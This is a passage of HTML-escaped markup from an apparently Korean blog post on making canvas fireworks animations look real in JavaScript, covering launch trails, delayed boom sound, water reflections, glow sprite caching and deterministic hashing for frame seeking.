&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; y &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cy &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; dy &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; v &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; reach &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; fall&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;진짜처럼 보이게 하는 다섯 가지&lt;/h2&gt;
&lt;p&gt;불꽃 자체를 아무리 다듬어도 넘지 못하는 벽이 있습니다. 다음 다섯 개가 그 벽을 넘게 해 줬습니다. 영향이 큰 순서대로 적습니다.&lt;/p&gt;
&lt;h3&gt;1. 터지기 전 1.4초&lt;/h3&gt;
&lt;p&gt;화면 밖에서 갑자기 터지면 스티커를 붙인 것처럼 보입니다. &lt;strong&gt;아래에서 올라오는 궤적이 있어야 &quot;쏘아 올렸다&quot;가 됩니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;감속하면서 올라가고, 뒤에 짧은 불티를 남기고, 정점에서 터집니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; e &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;pow&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; u&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2.1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 위로 갈수록 느려진다&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; y &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;lerp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;groundY&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; burstY&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2. 빛보다 늦게 오는 폭음&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;가장 알아보기 쉬운 신호입니다.&lt;/strong&gt; 번쩍하고 잠시 뒤에 소리가 오는 순간 거리감이 생깁니다.&lt;/p&gt;
&lt;p&gt;소리는 초당 343m를 갑니다. 고도와 좌우 거리로 지연을 계산해 효과음을 미룹니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;boomDelay&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;x&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; y&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; dx &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;CENTER&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;CENTER&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; alt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;clamp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; y&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;700&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.62&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; alt &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.48&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;abs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dx&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.16&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 0.6 ~ 1.2초&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;3. 물에 비친 하늘&lt;/h3&gt;
&lt;p&gt;강이나 바다가 있으면 반사가 절반을 담당합니다. 하늘을 &lt;strong&gt;별도 캔버스에 그린 뒤&lt;/strong&gt; 가로 띠 단위로 뒤집어 깝니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;STEP&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token constant&quot;&gt;COMPRESS&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1.95&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; d &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; d &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; riverH&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; d &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;STEP&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; sy &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; horizon &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; d &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;COMPRESS&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 위쪽을 끌어온다&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; wob &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Math&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;d &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.05&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; t &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1.9&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; amp
  ctx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;globalAlpha &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.5&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;d &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; riverH&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.3&lt;/span&gt;
  ctx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;drawImage&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;skyCanvas&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sy&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;W&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;STEP&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; wob&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; horizon &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; d&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;W&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;STEP&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;압축률을 1보다 크게 줘야 원근이 맞습니다. 그리고 &lt;strong&gt;흔들림은 깊이에 비례시켜야 합니다.&lt;/strong&gt; 전 구간을 같은 진폭으로 흔들면 수평선 근처 건물이 녹아내리는 것처럼 보입니다.&lt;/p&gt;
&lt;h3&gt;4. 개화 후광&lt;/h3&gt;
&lt;p&gt;터지는 순간 &lt;strong&gt;하늘만 밝아지면 안 됩니다.&lt;/strong&gt; 도시 옥상과 수면도 같이 밝아져야 같은 공간에 있는 걸로 읽힙니다.&lt;/p&gt;
&lt;p&gt;주의할 점은 화면 전체를 밝은 색으로 덮으면 안 된다는 것입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 이렇게 하면 안개가 낀 것처럼 뿌옇게 뜬다&lt;/span&gt;
ctx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;globalAlpha &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.17&lt;/span&gt;
ctx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fillStyle &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; burstColor
ctx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fillRect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;W&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;H&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;화면 전체는 0.05 이하로만 들고, 대신 &lt;strong&gt;터진 자리 주변에 반경 그래디언트&lt;/strong&gt;를 깝니다. 밤공기가 빛을 머금는 부분입니다.&lt;/p&gt;
&lt;h3&gt;5. 남는 연기&lt;/h3&gt;
&lt;p&gt;터진 자리에 옅은 연기를 남기고 바람에 흘려보냅니다. 다음 발이 그 연기를 통과하면 낱개의 폭죽이 아니라 &lt;strong&gt;이어지는 축제&lt;/strong&gt;가 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;개화 순간이 흰 원반으로 뭉친다&lt;/h2&gt;
&lt;p&gt;별 200개가 한 점에서 출발하므로, 터진 직후 0.2초 동안은 전부 겹칩니다. 가산 합성(&lt;code class=&quot;language-text&quot;&gt;lighter&lt;/code&gt;)이라 흰색으로 포화되어 하드 엣지 원반이 됩니다.&lt;/p&gt;
&lt;p&gt;물리적으로는 맞지만 보기에는 어색합니다. 그 구간만 밝기를 눌러 줍니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;alpha &lt;span class=&quot;token operator&quot;&gt;*=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;lerp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0.3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;clamp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dt &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.28&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 부풀어 오르는 빛이 된다&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;성능 — shadowBlur를 쓰면 안 된다&lt;/h2&gt;
&lt;p&gt;글로우를 &lt;code class=&quot;language-text&quot;&gt;shadowBlur&lt;/code&gt;로 주는 코드가 많습니다. 오브젝트가 몇 개일 때는 괜찮지만 &lt;strong&gt;파티클마다 걸면 프레임 시간이 폭증합니다.&lt;/strong&gt; CPU 래스터라이즈라 GPU 가속을 못 받습니다.&lt;/p&gt;
&lt;p&gt;글로우가 구워진 스프라이트를 오프스크린 캔버스에 &lt;strong&gt;한 번만&lt;/strong&gt; 만들어 두고 &lt;code class=&quot;language-text&quot;&gt;drawImage&lt;/code&gt;로 찍으면 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; cache &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;glowSprite&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;color&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;24&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; key &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;color&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;r&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cache&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;has&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;key&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; cache&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;key&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; cv &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;canvas&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  cv&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;width &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cv&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;height &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; r &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; c &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cv&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getContext&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;2d&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; q &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;createRadialGradient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;r&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  q&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;addColorStop&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0.0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;rgba(255,255,255,0.95)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 심지는 흰색이라야 발광으로 읽힌다&lt;/span&gt;
  q&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;addColorStop&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0.18&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;hexToRgba&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;color&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.95&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  q&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;addColorStop&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1.0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;hexToRgba&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;color&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  c&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fillStyle &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; q
  c&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fillRect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  cache&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;key&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cv&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; cv
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;색은 캐시 키가 되므로 &lt;strong&gt;연속적으로 변하는 색을 쓰면 캐시가 무한히 늘어납니다.&lt;/strong&gt; 불꽃은 꺼질 때 제 색에서 주황으로 변하는데, 이걸 6단계로 양자화하면 조합이 수십 개로 유지됩니다.&lt;/p&gt;
&lt;p&gt;이 방식으로 파티클 1,000개 이상을 그려도 프레임 시간이 거의 늘지 않았습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;결정론 — Math.random을 쓰지 않는다&lt;/h2&gt;
&lt;p&gt;영상으로 뽑으려면 프레임을 순서대로 그리지 않습니다. &lt;code class=&quot;language-text&quot;&gt;seek(t)&lt;/code&gt; 방식으로 임의의 시점을 방문하고, 실패하면 다시 그립니다. &lt;strong&gt;난수를 쓰면 같은 &lt;code class=&quot;language-text&quot;&gt;t&lt;/code&gt;를 두 번 그렸을 때 결과가 달라져 화면이 튑니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;모든 값을 &lt;code class=&quot;language-text&quot;&gt;(seed, index)&lt;/code&gt; 해시에서 뽑습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;hash01&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;seed&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; salt &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; h &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;seed &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;374761393&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;668265263&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;salt &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2246822519&lt;/span&gt;
